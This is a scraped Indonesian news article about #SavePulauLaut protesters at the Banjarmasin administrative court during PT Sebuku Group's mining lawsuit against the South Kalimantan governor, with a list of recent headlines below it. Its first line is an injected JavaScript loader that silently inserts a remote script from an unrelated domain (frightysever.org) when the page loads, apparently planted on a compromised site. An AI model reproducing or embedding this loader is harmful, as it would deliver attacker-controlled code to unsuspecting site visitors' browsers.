(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Massa #SAVEPULAULAUT Kembali ‘Serbu’ PTUN Banjarmasin


BANJARMASIN, Sidang lanjutan gugatan PT Sebuku Group versus Gubernur Kalimantan Selatan H Sahbirin Noor berlanjut kembali, Kamis (31/5) di Pengadilan Tata Usaha Negeri Banjarmasin dengan agenda penyerahan kesimpulan.

Pada saat kesimpulan di persidangan, halaman PTUN Banjarmasin kembali kedatangan massa #savepulaulaut yang menuntut dan menyuarakan aspirasi mereka yang menolak tambang di Pulau Laut.

Sugianoor, Dewan Penasehat Lembaga Swadaya Masyarakat Anak Kaki Gunung Sebatang mengatakan, kejadian ini pernah dialaminya pada tahun 2000-an ketika masyarakat membawa aspirasi mereka dengan murni untuk menolak pertambangan.

“Bukan apa-apa, saya tahu bagaimana tambang di Kotabaru, ucapan saya tidak mengada-ada,” katanya.

Ditambahkannya, pertambangan di Kotabaru merupakan hasil kegiatan yang sangat tidak bermanfaat dan pekerja dari suatu proyek tambang didominasi oleh masyarakat luar Kotabaru. Dari income daerah pun tak mumpunyai dampak yang besar dari segi ekonomi maupun fasilitas dan sarana masyarakat.

Menurutnya tidak ada satupun hal positifnya yang dihasilkan oleh pengusaha tambang, baik dari sektor kesehatan maupun fasilitas umum, sedangkan Kotabaru menyumbangkan kurang lebih Rp 100 triliun untuk APBN.

“Fasilitas?, jembatan saja sampai saat ini belum terbangun,” katanya.

Apabila keputusan ini tetap mengabulkan pihak PT Sebuku Group untuk tetap melakukan penambangan di Pulau Laut, maka masyarakat akan terus berjuang melawan keputusan tersebut. Ia menegaskan bahwa hukum harus berdasarkan representasi aspirasi masyarakat.

“Hukum harus berpihak kepada masyakat,” terangnya.

Ia berharap kepada seluruh elemen masyarakat harus bijaksana dalam menanggapi penolakan tambang di Pulau Laut, pihak yang menolak bukan anti investasi akan tetapi lebih ingin mengembangkan agrobisnis dan agrowisata karena dinilai lebih ramah serta tidak merusak lingkungan. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

16 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

18 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.